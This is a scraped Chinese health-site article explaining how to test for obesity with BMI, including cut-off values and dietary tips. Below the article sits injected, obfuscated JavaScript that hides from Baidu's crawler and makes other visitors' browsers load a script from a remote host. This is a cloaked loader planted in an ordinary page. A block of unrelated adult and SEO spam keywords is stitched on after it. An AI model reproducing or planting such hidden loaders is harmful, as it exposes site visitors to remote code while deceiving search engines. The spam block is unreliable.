當前位置:首頁 > 減肥 > 減肥方法 > 正文

肥胖體質測試的方法

2017-06-12 15:15:57  來源:360常識網(wǎng)   熱度:
導語:隨著生活水平不斷提高越來越多的人開始注重自己的自身形象和身體健康情況,往往有很多上班族由于長時間久坐辦公室,不能適當?shù)剡M行運動特別

隨著生活水平不斷提高越來越多的人開始注重自己的自身形象和身體健康情況,往往有很多上班族由于長時間久坐辦公室,不能適當?shù)剡M行運動特別容易導致復發(fā),身體變得越來越胖,肥胖不僅會嚴重影響我們的自身形象,同時也會給我們的健康帶來很大的影響,肥胖會導致我們的心臟壓力過大,特別容易引發(fā)心臟疾病以及高血壓高血脂等疾病的發(fā)生,那么因為每個人對肥胖的理解不同,所以說有些人根本不胖但自己總覺得很胖,那么怎么鑒定自己是否是肥胖體質那,下面我們一起了解一下肥胖體質測試的方法。

肥胖體質測試的方法

BMI是BodyMassIndex的縮寫是指體質指數(shù)的意思,是評估體重與身高比例的常用工具。BMI是世界公認的一種評定肥胖程度的分級方法,世界衛(wèi)生組織(WHO)也以BMI來對肥胖或超重進行定義。它主要是從健康的角度來衡量你是否超重,以及是否有肥胖引起的慢性疾病的危險。BMI值是一個中立而可靠的指標,比單純的以體重來認定,更具準確性。

BMI的計算公式為:BMI=體重(kg)/(身高(m)×身高(m))

例如一個人,體重為70kg,身高1.75m,通過BMI算出來是22.86。

E.g.:70÷(1.75×1.75)=22.86

BMI指數(shù)為18.5~23.9時屬正常。

世界衛(wèi)生組織認為,對于18至65歲的人來說(孕婦、哺乳期婦女、老人及身型健碩的運動員除外),可以按以下的標準判斷一個人是否肥胖:

BMI值不足18.5——偏瘦;

BMI在18.5~24.9——正常;

BMI在25~30——超重;

BMI超過30——肥胖。

另外,中國衛(wèi)生部做出了更適合中國國情的判斷,認為BMI在18.5~23.9時,這個人的BMI在正常范圍內,此時他的身體比較健康。BMI低于正常范圍,則會因為體內脂肪含量水平過低,使身體不能完全提供必需的脂肪生理功能、免疫力下降等。而BMI高于正常范圍,患高血壓、糖尿病、冠心病和血脂異常等肥胖相關而嚴重危害健康的疾病的概率會顯著增加。

因此,如果您BMI低于18.5,則您需要增強鍛煉,增加營養(yǎng),適當增重;如果您BMI大于或接近于24,就可以考慮減肥了;最理想的體重指數(shù)是22。

肥胖的防治措施

1、適當減低膳食熱量。攝入熱量低于消耗熱量,負平衡時體脂逐步分解,體重逐步下降。

2、用低熱值食品代替高熱食品,用家禽肉、瘦肉代替肥肉。用雞蛋、牛奶、豆制品代替糖多、油大的點心。巧克力、奶油冰激凌、糖果應不吃

3、盡量不消減食物的體積和數(shù)量。在減少糖多、油大、熱值高的食品的同時增加蔬菜、豆類、豆制品等莖類蔬菜如:芹菜、油菜、小白菜;瓜類蔬菜如:冬瓜、西葫蘆等。

4、優(yōu)先考慮消減主食。主食和肥肉一樣吃得過多都會引起單純性肥胖。

5、逐步減少糖多、油大、營養(yǎng)價值不高的食品如:甜點心、油炸小吃、西式快餐、甜飲料等

我們都知道擁有傲人的身材會更吸引人的眼球和注意力,但是擁有健康的身體是更重要的,通過對肥胖體質測試的方法了解之后,我們不要盲目地總是為了追求完美不斷的進行減肥,這樣對身體的傷害是特別大的,但是如果測試是肥胖體質一定要注意控制體重,以免影響到身體的健康

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品动漫一区二区三区| 无码欧精品亚洲日韩一区夜夜嗨| 亚洲AV无码成人精品区大在线| 久久精品免费网站网| 亚洲精品无码久久久久久久| 亚洲乱码日产精品a级毛片久久| 国产精品酒店视频| 久久久久99精品国产片| 国产91精品久久久久久久| 在线精品免费视频| 久久精品视频免费看| 国产乱人伦偷精品视频下| 精品少妇人妻AV一区二区三区| 国产丝袜在线精品丝袜| 精品视频在线观看你懂的一区| 国产福利电影一区二区三区久久久久成人精品综合 | 中文字幕精品无码一区二区三区| 国产精品 综合 第五页| 无码国内精品久久人妻麻豆按摩 | www.精品视频| 国产91精品久久久久久久| 国产成人综合久久精品亚洲| 国产精品免费视频播放器| 国产精品日本一区二区在线播放| 正在播放国产精品| 日韩一区精品视频一区二区| 亚洲AV无码久久精品成人| 国内精品免费视频精选在线观看| 国产亚洲精品高清在线| 精品人妻伦一二三区久久| 国产精品自在线拍国产第一页 | 久久亚洲精品成人综合| 精品国产免费一区二区三区香蕉| 精品国产污污免费网站| 久热青青青在线视频精品| 亚洲国产成人精品不卡青青草原| 久9久9精品免费观看| 91麻豆精品激情在线观看最新| 久久精品国产乱子伦| 无码国产精品一区二区免费式影视| 亚洲国产成人精品无码区花野真一|